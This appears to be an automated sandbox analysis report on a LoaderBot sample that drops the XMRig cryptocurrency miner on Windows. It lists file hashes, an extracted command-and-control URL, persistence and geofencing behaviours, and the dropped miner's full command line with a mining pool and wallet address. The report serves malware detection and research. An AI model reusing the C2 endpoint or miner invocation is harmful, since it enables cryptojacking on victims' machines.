Analysis
-
max time kernel
146s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
-
submitted
22-01-2024 12:57
General
-
Target
328-875-0x00000000001C0000-0x0000000000928000-memory.exe
-
Size
7.4MB
-
MD5
e85a8a8417f95f0bd3c2f82c6c81ced5
-
SHA1
8f93ed5fc5df59356ff749fa8d6af76bf95ef5dc
-
SHA256
f9a988fa961effa94a6369aec4427e07fd0134d28c5161b0499000b0935a87df
-
SHA512
693856ab5886bb7b4a7fa9ba9ea75b120bc033491197392bd1a2da8a87ab8ac808fa027f140e31203a4c35627ce442849e1fbca4be59de3acbc50ad9f3eb5cfa
-
SSDEEP
98304:fzP88fBsnZTgOtqB3m1RC3aNcAveccI7cvOeCMeEvirO:rrpkE3aRC3scCQ2eC2
Malware Config
Extracted
loaderbot
https://ca94025.tw1.ru/cmd.php
Signatures
-
LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
LoaderBot executable 1 IoCs
-
XMRig Miner payload 16 IoCs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops startup file 1 IoCs
-
Executes dropped EXE 3 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: LoadsDriver 2 IoCs
-
Suspicious behavior: RenamesItself 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 7 IoCs
-
Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\328-875-0x00000000001C0000-0x0000000000928000-memory.exe"C:\Users\Admin\AppData\Local\Temp\328-875-0x00000000001C0000-0x0000000000928000-memory.exe"1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 49t6urp39F9WQ7iprgWtoA7Xv6iYT8krNCAqo4qJXsrcP2CwHMcQzEsEZJtJLMsdQwSboNLC6a6AsgbKkrHqj6AGJyssTjJ -p x -k -v=0 --donate-level=1 -t 42⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 49t6urp39F9WQ7iprgWtoA7Xv6iYT8krNCAqo4qJXsrcP2CwHMcQzEsEZJtJLMsdQwSboNLC6a6AsgbKkrHqj6AGJyssTjJ -p x -k -v=0 --donate-level=1 -t 42⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 49t6urp39F9WQ7iprgWtoA7Xv6iYT8krNCAqo4qJXsrcP2CwHMcQzEsEZJtJLMsdQwSboNLC6a6AsgbKkrHqj6AGJyssTjJ -p x -k -v=0 --donate-level=1 -t 42⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3.9MB
MD502569a7a91a71133d4a1023bf32aa6f4
SHA10f16bcb3f3f085d3d3be912195558e9f9680d574
SHA2568d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
128KB
-
Filesize
11.5MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.5MB
-
Filesize
128KB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
64KB
-
Filesize
7.4MB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
408KB
-
Filesize
11.5MB
-
Filesize
80KB
-
Filesize
11.5MB